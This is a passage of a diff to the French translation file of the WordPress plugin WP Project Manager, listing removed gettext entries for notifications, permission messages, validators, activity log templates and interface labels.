a/languages/wedevs-project-manager-fr_FR.po +++ b/languages/wedevs-project-manager-fr_FR.po @@ -1,2033 +1,2033 @@ -msgid "" -msgstr "" -"Project-Id-Version: WP Project Manager\n" -"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" -"POT-Creation-Date: 2018-07-11 06:41:04+00:00\n" -"PO-Revision-Date: 2018-07-11 12:48+0600\n" -"Last-Translator: Tareq Hasan \n" -"Language-Team: Tareq Hasan \n" -"Language: fr\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"X-Poedit-KeywordsList: _e;__;gettext_noop\n" -"X-Poedit-Basepath: .\n" -"X-Generator: Poedit 2.0.8\n" -"Plural-Forms: nplurals=2; plural=(n > 1);\n" -"X-Poedit-SearchPath-0: ..\n" - -#: core/Notifications/Emails/Complete_Task_Notification.php:42 -msgid "[%s] %s Task mark as %s in %s" -msgstr "" - -#: core/Notifications/Emails/New_Comment_Notification.php:53 -#: core/Notifications/Emails/Update_Comment_Notification.php:52 -#: views/emails/html/new-message.php:39 views/emails/mention.php:13 -msgid "Message" -msgstr "Message" - -#: core/Notifications/Emails/New_Comment_Notification.php:58 -#: core/Notifications/Emails/Update_Comment_Notification.php:55 -#: views/emails/mention.php:20 -msgid "Task List" -msgstr "Liste de tâche" - -#: core/Notifications/Emails/New_Comment_Notification.php:63 -#: core/Notifications/Emails/Update_Comment_Notification.php:58 -#: views/assets/js/pm.js:18541 -#: views/assets/src/components/project-overview/directive.js:10 -#: views/emails/mention.php:25 -msgid "Task" -msgstr "Tâche" - -#: core/Notifications/Emails/New_Comment_Notification.php:68 -msgid "File" -msgstr "" - -#: core/Notifications/Emails/New_Comment_Notification.php:81 -msgid "[%s][%s] New Comment on: %s" -msgstr "" - -#: core/Notifications/Emails/New_Message_Notification.php:47 -msgid "[%s][%s] New Message: %s" -msgstr "" - -#: core/Notifications/Emails/New_Project_Notification.php:24 -msgid "[%s] New Project Invitation: %s" -msgstr "" - -#: core/Notifications/Emails/New_Task_Notification.php:41 -msgid "[%s][%s] New Task Assigned: %s" -msgstr "" - -#: core/Notifications/Emails/Update_Comment_Notification.php:49 -msgid "[%s][%s] Update Comment on: %s" -msgstr "" - -#: core/Notifications/Emails/Update_Project_Notification.php:24 -#, fuzzy -#| msgid "Update Project" -msgid "[%s] Updated Project: %s" -msgstr "Mettre à jour Projet" - -#: core/Notifications/Emails/Update_Task_Notification.php:40 -#, fuzzy -#| msgid "[%s] New task assigned to you" -msgid "[%s][%s] Update Task Assigned: %s" -msgstr "[%s] Nouvelle tâche vous est assignée" - -#: core/Permissions/Access_Project.php:22 -#: core/Permissions/Create_Discuss.php:17 -#: core/Permissions/Create_Milestone.php:16 core/Permissions/Create_Task.php:16 -#: core/Permissions/Create_Task_List.php:17 -#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 -#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 -#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 -#: core/Permissions/Project_Manage_Capability.php:28 -msgid "You have no permission." -msgstr "" - -#: core/Permissions/Complete_Task.php:36 -msgid "You have no permission to change task status." -msgstr "" - -#: core/Permissions/Create_File.php:16 -msgid "You have no permission to create message." -msgstr "" - -#: core/Permissions/Project_Craete_Capability.php:17 -msgid "You have no permission to create project." -msgstr "" - -#: core/Upgrades/Upgrade.php:136 -msgid "" -"WP Project Manager Data Update Required – Please " -"click the button below to update to the latest version." -msgstr "" - -#: core/Upgrades/Upgrade.php:139 -msgid "Run the Update" -msgstr "" - -#: core/Upgrades/Upgrade.php:140 -msgid "Read More" -msgstr "" - -#: core/Upgrades/Upgrade.php:148 -msgid "" -"It is strongly recommended that you backup your database before proceeding. " -"Are you sure you wish to run the updater now?" -msgstr "" - -#: core/WP/Enqueue_Scripts.php:65 -msgid "Allowed Files" -msgstr "Fichiers autorisés" - -#: core/WP/Frontend.php:140 -msgid "Every %d Minutes PM schedule" -msgstr "" - -#: core/WP/Frontend.php:167 -msgid "

WP Project Manager Pro required version 2.0 or above.

" -msgstr "" - -#: core/WP/Frontend.php:168 -msgid "

To migrate version 2.0, Please read mmigration docs

" -msgstr "" - -#: core/WP/Frontend.php:177 -msgid "Read Docs" -msgstr "" - -#: core/WP/Frontend.php:284 -msgid "Get Pro" -msgstr "" - -#: core/WP/Frontend.php:287 core/WP/Menu.php:36 -msgid "Settings" -msgstr "" - -#: core/WP/Frontend.php:288 -msgid "Documentation" -msgstr "" - -#: core/WP/Menu.php:16 views/assets/src/components/project-lists/header.vue:7 -msgid "Project Manager" -msgstr "Chef de projet" - -#: core/WP/Menu.php:18 -msgid "Projects" -msgstr "Projets" - -#: core/WP/Menu.php:20 views/assets/src/components/categories/categories.vue:3 -msgid "Categories" -msgstr "" - -#: core/WP/Menu.php:22 -msgid "My Tasks" -msgstr "" - -#: core/WP/Menu.php:23 -msgid "Calendar" -msgstr "" - -#: core/WP/Menu.php:26 -msgid "Reports" -msgstr "" - -#: core/WP/Menu.php:27 -msgid "Progress" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:23 -msgid "Manager" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:25 -msgid "Manager is a person who manages the project." -msgstr "" - -#: db/seeds/RoleTableSeeder.php:33 -msgid "Co-Worker" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:35 -msgid "Co-worker is person who works under a project." -msgstr "" - -#: src/Category/Validators/Create_Category.php:10 -#: src/Category/Validators/Update_Category.php:10 -msgid "Category title is required." -msgstr "" - -#: src/Category/Validators/Update_Category.php:11 -msgid "Category id is required." -msgstr "" - -#: src/Category/Validators/Update_Category.php:12 -msgid "Category id must be greater than zero" -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:10 -#: src/Comment/Validators/Update_Comment.php:10 -msgid "Comment title is required." -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:11 -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 -#: src/Milestone/Validators/Create_Milestone.php:11 -#: src/Project/Validators/Update_Project.php:11 -#: src/Task/Validators/Create_Task.php:11 -#: src/Task_List/Validators/Create_Task_List.php:11 -msgid "Project id is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:11 -msgid "Comment id is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:12 -msgid "Comment id must be greater than zero" -msgstr "" - -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 -msgid "Discussion title is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 -msgid "Discuss title is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 -msgid "Discuss id is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 -msgid "Discuss id must be greater than zero" -msgstr "" - -#: src/File/Controllers/File_Controller.php:97 -msgid "file not found" -msgstr "" - -#: src/Milestone/Controllers/Milestone_Controller.php:58 -msgid "this is mishu" -msgstr "" - -#: src/Milestone/Validators/Create_Milestone.php:10 -#: src/Milestone/Validators/Update_Milestone.php:10 -msgid "Milestone title is required." -msgstr "" - -#: src/Milestone/Validators/Update_Milestone.php:11 -msgid "Milestone id is required." -msgstr "" - -#: src/Milestone/Validators/Update_Milestone.php:12 -msgid "Milestone id must be greater than zero" -msgstr "" - -#: src/Project/Validators/Create_Project.php:10 -#: src/Project/Validators/Update_Project.php:10 -msgid "Project title is required." -msgstr "" - -#: src/Project/Validators/Update_Project.php:12 -msgid "Project id must be greater than zero" -msgstr "" - -#: src/Role/Validators/Create_Role.php:10 -#: src/Role/Validators/Update_Role.php:10 -msgid "Role title is required." -msgstr "" - -#: src/Role/Validators/Update_Role.php:11 -msgid "Role id is required." -msgstr "" - -#: src/Role/Validators/Update_Role.php:12 -msgid "Role id must be greater than zero" -msgstr "" - -#: src/Task/Validators/Create_Task.php:10 -#: src/Task/Validators/Update_Task.php:10 -msgid "Task title is required." -msgstr "" - -#: src/Task/Validators/Update_Task.php:11 -msgid "Task id is required." -msgstr "" - -#: src/Task/Validators/Update_Task.php:12 -msgid "Task id must be greater than zero" -msgstr "" - -#: src/Task_List/Validators/Create_Task_List.php:10 -#: src/Task_List/Validators/Update_Task_List.php:10 -msgid "Task list title is required." -msgstr "" - -#: src/Task_List/Validators/Update_Task_List.php:11 -msgid "Task list id is required." -msgstr "" - -#: src/Task_List/Validators/Update_Task_List.php:12 -msgid "Task list id must be greater than zero" -msgstr "" - -#: texts/activities.php:6 -msgid "%1$s has created a project titled as %2$s" -msgstr "" - -#: texts/activities.php:10 -msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:14 -msgid "%1$s has updated %2$s project description." -msgstr "" - -#: texts/activities.php:18 -msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:22 -msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:26 -msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:30 -msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:34 -msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:40 -msgid "%1$s has created a discussion board titled as %2$s." -msgstr "" - -#: texts/activities.php:44 -msgid "" -"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:48 -msgid "%1$s has updated the description of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:52 -msgid "%1$s has updated the order of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:58 -msgid "%1$s has created a task list titled as %2$s." -msgstr "" - -#: texts/activities.php:62 -msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:66 -msgid "%1$s has updated the description of a task list, %2$s." -msgstr "" - -#: texts/activities.php:70 -msgid "%1$s has updated the order of a task list, %2$s." -msgstr "" - -#: texts/activities.php:76 -msgid "%1$s has created a milestone, %2$s." -msgstr "" - -#: texts/activities.php:80 -msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:84 -msgid "%1$s has updated the description of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:88 -msgid "%1$s has updated the order of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:94 -msgid "%1$s has created a task, %2$s." -msgstr "" - -#: texts/activities.php:98 -msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:102 -msgid "%1$s has updated the description of a task, %2$s." -msgstr "" - -#: texts/activities.php:106 -msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:110 -msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:114 -msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:118 -msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:122 -msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:126 -msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:130 -msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:134 -msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:140 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a task, %2$s." -msgstr "%s a commenté %s" - -#: texts/activities.php:144 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a task, %2$s." -msgstr "%s a mis à jour son commentaire à propos de %s" - -#: texts/activities.php:148 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a task, %2$s" -msgstr "%s a mis à jour son commentaire à propos de %s" - -#: texts/activities.php:152 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a task, %2$s." -msgstr "%s a mis à jour son commentaire à propos de %s" - -#: texts/activities.php:158 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a task list, %2$s." -msgstr "%s a commenté %s" - -#: texts/activities.php:162 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a task list, %2$s." -msgstr "%s a mis à jour son commentaire à propos de %s" - -#: texts/activities.php:166 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a task list, %2$s" -msgstr "%s a mis à jour son commentaire à propos de %s" - -#: texts/activities.php:170 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a task list, %2$s." -msgstr "%s a mis à jour son commentaire à propos de %s" - -#: texts/activities.php:176 -msgid "%1$s has commented on a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:180 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a discussion board, %2$s." -msgstr "%s a mis à jour son commentaire à propos de %s" - -#: texts/activities.php:184 -msgid "%1$s has replied a comment on a discussion board, %2$s" -msgstr "" - -#: texts/activities.php:188 -msgid "%1$s has updated a reply comment on a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:194 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a milestone, %2$s." -msgstr "%s a commenté %s" - -#: texts/activities.php:198 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a milestone, %2$s." -msgstr "%s a mis à jour son commentaire à propos de %s" - -#: texts/activities.php:202 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a milestone, %2$s" -msgstr "%s a mis à jour son commentaire à propos de %s" - -#: texts/activities.php:206 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a milestone, %2$s." -msgstr "%s a mis à jour son commentaire à propos de %s" - -#: texts/activities.php:212 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on the project, %2$s." -msgstr "%s a commenté %s" - -#: texts/activities.php:216 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on the project, %2$s." -msgstr "%s a mis à jour son commentaire à propos de %s" - -#: texts/activities.php:220 -msgid "%1$s has replied a comment on the project, %2$s" -msgstr "" - -#: texts/activities.php:224 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on the project, %2$s." -msgstr "%s a mis à jour son commentaire à propos de %s" - -#: texts/activities.php:230 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a file, %2$s." -msgstr "%s a commenté %s" - -#: texts/activities.php:234 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a file, %2$s." -msgstr "%s a mis à jour son commentaire à propos de %s" - -#: texts/activities.php:238 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a file, %2$s" -msgstr "%s a mis à jour son commentaire à propos de %s" - -#: texts/activities.php:242 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a file, %2$s." -msgstr "%s a mis à jour son commentaire à propos de %s" - -#: texts/activities.php:246 -msgid "%1$s has duplicated project from , %2$s." -msgstr "" - -#: texts/resource_types.php:5 -#, fuzzy -#| msgid "Project" -msgid "project" -msgstr "Projet" - -#: texts/resource_types.php:8 -msgid "discussion board" -msgstr "" - -#: texts/resource_types.php:11 -#, fuzzy -#| msgid "Task List" -msgid "task list" -msgstr "Liste de tâche" - -#: texts/resource_types.php:14 -msgid "task" -msgstr "" - -#: texts/resource_types.php:17 -#, fuzzy -#| msgid "Milestone" -msgid "milestone" -msgstr "Etape" - -#: texts/resource_types.php:20 -#, fuzzy -msgid "comment" -msgstr "1 Commentaire" - -#: texts/resource_types.php:23 -msgid "file" -msgstr "" - -#: texts/success_messages.php:6 -msgid "A project has been created successfully." -msgstr "" - -#: texts/success_messages.php:9 -msgid "A project has been updated successfully." -msgstr "" - -#: texts/success_messages.php:12 -msgid "A project has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:16 -msgid "A category has been created successfully." -msgstr "" - -#: texts/success_messages.php:19 -msgid "A category has been updated successfully." -msgstr "" - -#: texts/success_messages.php:22 -msgid "A category has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:25 -msgid "All the selected categories has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:29 -msgid "Successfully commented." -msgstr "" - -#: texts/success_messages.php:32 -msgid "A comment has been updated successfully." -msgstr "" - -#: texts/success_messages.php:35 -msgid "A comment has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:39 -msgid "A new discussion has been created successfully." -msgstr "" - -#: texts/success_messages.php:42 -msgid "A discussion has been updated successfully." -msgstr "" - -#: texts/success_messages.php:45 -msgid "A discussion has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:49 -msgid "A new milestone has been created successfully." -msgstr "" - -#: texts/success_messages.php:52 -msgid "A milestone has been updated successfully." -msgstr "" - -#: texts/success_messages.php:55 -msgid "A milestone has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:59 -msgid "A new task list has been created successfully." -msgstr "" - -#: texts/success_messages.php:62 -msgid "Task list has been updated successfully." -msgstr "" - -#: texts/success_messages.php:65 -msgid "Task list has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:69 -msgid "A new task has been created successfully." -msgstr "" - -#: texts/success_messages.php:72 -msgid "A Task has been updated successfully." -msgstr "" - -#: texts/success_messages.php:75 -msgid "The task has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:78 -msgid "Settings has been changed successfully." -msgstr "" - -#: texts/success_messages.php:81 -#, fuzzy -#| msgid "No comments found" -msgid "No element found" -msgstr "Aucun commentaire" - -#: texts/success_messages.php:84 -#, fuzzy -#| msgid "No Project Found" -msgid "No Project found" -msgstr "Pas de Projet" - -#: texts/success_messages.php:87 -msgid "Task marked as done" -msgstr "" - -#: texts/success_messages.php:90 -msgid "Task reopened" -msgstr "" - -#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 -msgid "Every %d Minutes" -msgstr "" - -#: views/assets/js/library.js:887 views/assets/js/library.js:1099 -#: views/assets/js/library.js:4869 views/assets/js/pm.js:887 -#: views/assets/js/pm.js:1099 views/assets/js/pm.js:5443 -#: views/assets/js/pm.js:5954 views/assets/js/pm.js:9713 -#: views/assets/js/pm.js:14773 -#: views/assets/src/components/categories/categories.vue:255 -#: views/assets/src/components/project-discussions/mixin.js:507 -#: views/assets/src/components/project-task-lists/list-comments.vue:111 -#: views/assets/src/components/project-task-lists/mixin.js:382 -#: views/assets/src/components/project-task-lists/mixin.js:602 -#: views/assets/src/components/project-task-lists/task-comments.vue:131 -#, fuzzy -#| msgid "Are you sure?" -msgid "Are you sure!" -msgstr "Etes-vous sûr ?" - -#: views/assets/js/library.js:3158 views/assets/js/pm.js:3732 -#: views/assets/src/helpers/mixin/mixin.js:703 -#: views/assets/vendor/mixin/mixin.js:636 -msgid "Are you sure to delete this project?" -msgstr "" - -#: views/assets/js/library.js:3841 views/assets/js/pm.js:4415 -#: views/assets/src/components/common/text-editor.vue:37 -msgid "Write a comment..." -msgstr "" - -#: views/assets/js/library.js:4169 views/assets/js/pm.js:4743 -#: views/assets/src/components/project-task-lists/single-task.vue:295 -msgid "Update Description" -msgstr "" - -#: views/assets/js/library.js:4632 views/assets/js/pm.js:5206 -#: views/assets/js/pm.js:10728 views/assets/js/pm.js:14513 -#: views/assets/src/components/project-discussions/comment-form.vue:39 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:48 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:64 -msgid "Add New Comment" -msgstr "" - -#: views/assets/js/library.js:4633 views/assets/js/pm.js:5207 -#: views/assets/js/pm.js:10729 views/assets/js/pm.js:14514 -#: views/assets/src/components/project-discussions/comment-form.vue:40 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:49 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:65 -#: views/emails/html/update-comment.php:12 -msgid "Update Comment" -msgstr "" - -#: views/assets/js/library.js:5620 views/assets/js/pm.js:7465 -msgid "textarea" -msgstr "" - -#: views/assets/js/library.js:5661 views/assets/js/pm.js:7506 -#: views/assets/js/pm.js:25191 -msgid "form" -msgstr "" - -#: views/assets/js/library.js:5753 views/assets/js/library.js:5843 -#: views/assets/js/library.js:6109 views/assets/js/library.js:6887 -#: views/assets/js/library.js:6964 views/assets/js/library.js:7110 -#: views/assets/js/library.js:10361 views/assets/js/library.js:10395 -#: views/assets/js/library.js:10440 views/assets/js/library.js:10498 -#: views/assets/js/library.js:10699 views/assets/js/library.js:10757 -#: views/assets/js/pm.js:7598 views/assets/js/pm.js:7688 -#: views/assets/js/pm.js:7954 views/assets/js/pm.js:8732 -#: views/assets/js/pm.js:8809 views/assets/js/pm.js:8955 -#: views/assets/js/pm.js:23547 views/assets/js/pm.js:23616 -#: views/assets/js/pm.js:23915 views/assets/js/pm.js:24205 -#: views/assets/js/pm.js:24239 views/assets/js/pm.js:24446 -#: views/assets/js/pm.js:24569 views/assets/js/pm.js:24729 -#: views/assets/js/pm.js:24763 views/assets/js/pm.js:25132 -#: views/assets/js/pm.js:25346 views/assets/js/pm.js:25862 -#: views/assets/js/pm.js:25896 views/assets/js/pm.js:25987 -#: views/assets/js/pm.js:26537 views/assets/js/pm.js:26640 -#: views/assets/js/pm.js:26731 views/assets/js/pm.js:26795 -#: views/assets/js/pm.js:26886 views/assets/js/pm.js:27157 -#: views/assets/js/pm.js:27200 views/assets/js/pm.js:27551 -#: views/assets/js/pm.js:27638 views/assets/js/pm.js:27777 -#: views/assets/js/pm.js:28558 views/assets/js/pm.js:28592 -#: views/assets/js/pm.js:28674 views/assets/js/pm.js:29193 -#: views/assets/js/pm.js:29234 views/assets/js/pm.js:29675 -#: views/assets/js/pm.js:29935 views/assets/js/pm.js:29969 -#: views/assets/js/pm.js:30251 views/assets/js/pm.js:30296 -#: views/assets/js/pm.js:30476 views/assets/js/pm.js:30954 -#: views/assets/js/pm.js:31165 views/assets/js/pm.js:31200 -#: views/assets/js/pm.js:31386 views/assets/js/pm.js:31477 -#: views/assets/js/pm.js:31586 views/assets/js/pm.js:31651 -#: views/assets/js/pm.js:31962 views/assets/js/pm.js:32460 -#: views/assets/js/pm.js:32830 views/assets/js/pm.js:33075 -#: views/assets/js/pm.js:33109 views/assets/js/pm.js:33209 -#: views/assets/js/pm.js:33376 views/assets/js/pm.js:33446 -#: views/assets/js/pm.js:33803 views/assets/js/pm.js:33846 -#: views/assets/js/pm.js:34055 views/assets/js/pm.js:34228 -#: views/assets/js/pm.js:34332 views/assets/js/pm.js:34372 -msgid "div" -msgstr "" - -#: views/assets/js/library.js:6909 views/assets/js/pm.js:8754 -#: views/assets/js/pm.js:23525 -msgid "span" -msgstr "" - -#: views/assets/js/library.js:6937 views/assets/js/pm.js:8782 -#: views/assets/js/pm.js:24537 views/assets/js/pm.js:26571 -#: views/assets/js/pm.js:28649 views/assets/js/pm.js:32805 -#: views/assets/js/pm.js:33414 -msgid "input" -msgstr "" - -#: views/assets/js/pm.js:2326 -#: views/assets/src/components/project-milestones/mixin.js:316 -#, fuzzy -#| msgid "Are you sure to delete this message?" -msgid "Are you sure! Want to delete this milestones?" -msgstr "Etes vous sûr de supprimer ce message ?" - -#: views/assets/js/pm.js:5999 -#: views/assets/src/components/project-discussions/mixin.js:554 -#, fuzzy -#| msgid "Are you sure to delete this message?" -msgid "Are you sure to delete this comment?" -msgstr "Etes vous sûr de supprimer ce message ?" - -#: views/assets/js/pm.js:9674 -#: views/assets/src/components/categories/categories.vue:23 -#: views/assets/src/components/categories/categories.vue:212 -#, fuzzy -#| msgid "Add New Message" -msgid "Add New Category" -msgstr "Ajouter nouveau message" - -#: views/assets/js/pm.js:9793 -#: views/assets/src/components/categories/edit-category-form.vue:42 -#, fuzzy -#| msgid "Update Message" -msgid "Update Category" -msgstr "Mettre à jour commentaire" - -#: views/assets/js/pm.js:10288 views/assets/js/pm.js:12746 -#: views/assets/src/components/common/header.vue:81 -#: views/assets/src/components/project-lists/project-summary.vue:165 -#, fuzzy -#| msgid "Project Activity" -msgid "Project Actions" -msgstr "Activité du projet" - -#: views/assets/js/pm.js:10314 -#: views/assets/src/components/common/header.vue:110 -msgid "Overview" -msgstr "" - -#: views/assets/js/pm.js:10323 -#: views/assets/src/components/common/header.vue:121 -msgid "Activities" -msgstr "" - -#: views/assets/js/pm.js:10332 -#: views/assets/src/components/common/header.vue:132 -#: views/assets/src/components/project-discussions/discussions.vue:20 -#: views/assets/src/components/project-lists/project-summary.vue:32 -#: views/assets/src/components/project-milestones/completed-milestones.vue:32 -#: views/assets/src/components/project-milestones/late-milestones.vue:39 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 -#: views/assets/src/components/project-overview/overview.vue:31 -msgid "Discussions" -msgstr "" - -#: views/assets/js/pm.js:10341 -#: views/assets/src/components/common/header.vue:143 -#: views/assets/src/components/project-lists/project-summary.vue:48 -#: views/assets/src/components/project-milestones/completed-milestones.vue:23 -#: views/assets/src/components/project-milestones/late-milestones.vue:30 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 -#: views/assets/src/components/project-overview/overview.vue:46 -#: views/assets/src/components/project-task-lists/default-list-page.vue:4 -msgid "Task Lists" -msgstr "Liste de Tâche" - -#: views/assets/js/pm.js:10350 -#: views/assets/src/components/common/header.vue:154 -#: views/assets/src/components/project-lists/project-summary.vue:78 -#: views/assets/src/components/project-milestones/milestones.vue:19 -#: views/assets/src/components/project-overview/overview.vue:97 -msgid "Milestones" -msgstr "Etapes" - -#: views/assets/js/pm.js:10359 -#: views/assets/src/components/common/header.vue:165 -#: views/assets/src/components/project-lists/project-summary.vue:93 -#: views/assets/src/components/project-overview/overview.vue:82 -msgid "Files" -msgstr "Fichiers" - -#: views/assets/js/pm.js:10975 -#: views/assets/src/components/categories/categories.vue:104 -#: views/assets/src/components/common/header.vue:10 -#: views/assets/src/components/project-discussions/discussions.vue:158 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 -msgid "Edit" -msgstr "Editer" - -#: views/assets/js/pm.js:10976 -#: views/assets/src/components/project-discussions/discussions.vue:159 -msgid "Delete this message" -msgstr "" - -#: views/assets/js/pm.js:10977 -#: views/assets/src/components/project-discussions/discussions.vue:160 -msgid "Make it private" -msgstr "" - -#: views/assets/js/pm.js:11351 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:55 -msgid "Enter message title" -msgstr "" - -#: views/assets/js/pm.js:11352 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:56 -msgid "Add Message" -msgstr "Ajouter message" - -#: views/assets/js/pm.js:11353 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:57 -msgid "Update Message" -msgstr "Mettre à jour commentaire" - -#: views/assets/js/pm.js:12089 -#: views/assets/src/components/project-lists/header.vue:69 -msgid "Start a new project" -msgstr "Créer un nouveau projet" - -#: views/assets/js/pm.js:12190 -#: views/assets/src/components/project-lists/project-create-form.vue:87 -msgid "Name of the project" -msgstr "" - -#: views/assets/js/pm.js:12191 -#: views/assets/src/components/project-lists/project-create-form.vue:88 -msgid "Some details about the project (optional)" -msgstr "Quelques détails à propos du projet (optionel)" - -#: views/assets/js/pm.js:12192 -#: views/assets/src/components/project-lists/project-create-form.vue:89 -msgid "Type 3 or more characters to search users..." -msgstr "" - -#: views/assets/js/pm.js:12193 views/assets/js/pm.js:18016 -#: views/assets/src/components/project-lists/directive.js:75 -#: views/assets/src/components/project-lists/project-create-form.vue:90 -msgid "Create a new user" -msgstr "" - -#: views/assets/js/pm.js:12194 -#: views/assets/src/components/project-lists/project-create-form.vue:91 -msgid "Add New Project" -msgstr "Ajouter nouveau projet" - -#: views/assets/js/pm.js:12195 -#: views/assets/src/components/project-lists/project-create-form.vue:92 -#: views/emails/html/update-project.php:9 -msgid "Update Project" -msgstr "Mettre à jour Projet" - -#: views/assets/js/pm.js:12536 -#: views/assets/src/components/project-lists/project-new-user-form.vue:43 -msgid "Create User" -msgstr "" - -#: views/assets/js/pm.js:12853 -#: views/assets/src/components/project-lists/project-view.vue:17 -msgid "List View" -msgstr "" - -#: views/assets/js/pm.js:12854 -#: views/assets/src/components/project-lists/project-view.vue:18 -msgid "Grid View" -msgstr "" - -#: views/assets/js/pm.js:12946 -#: views/assets/src/components/project-milestones/action-milestones.vue:33 -msgid "Edit Milestone" -msgstr "Editer étape" - -#: views/assets/js/pm.js:12947 -#: views/assets/src/components/project-milestones/action-milestones.vue:34 -msgid "Delete milestone" -msgstr "" - -#: views/assets/js/pm.js:12948 -#: views/assets/src/components/project-milestones/action-milestones.vue:35 -msgid "Mark as incomplete" -msgstr "" - -#: views/assets/js/pm.js:12949 -#: views/assets/src/components/project-milestones/action-milestones.vue:36 -msgid "Mark as complete" -msgstr "Marquer comme réalisé" - -#: views/assets/js/pm.js:13571 views/assets/js/pm.js:15563 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 -#: views/assets/src/components/project-task-lists/new-task-form.vue:112 -msgid "Due Date" -msgstr "" - -#: views/assets/js/pm.js:13572 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 -msgid "Milestone name" -msgstr "" - -#: views/assets/js/pm.js:13573 -#: 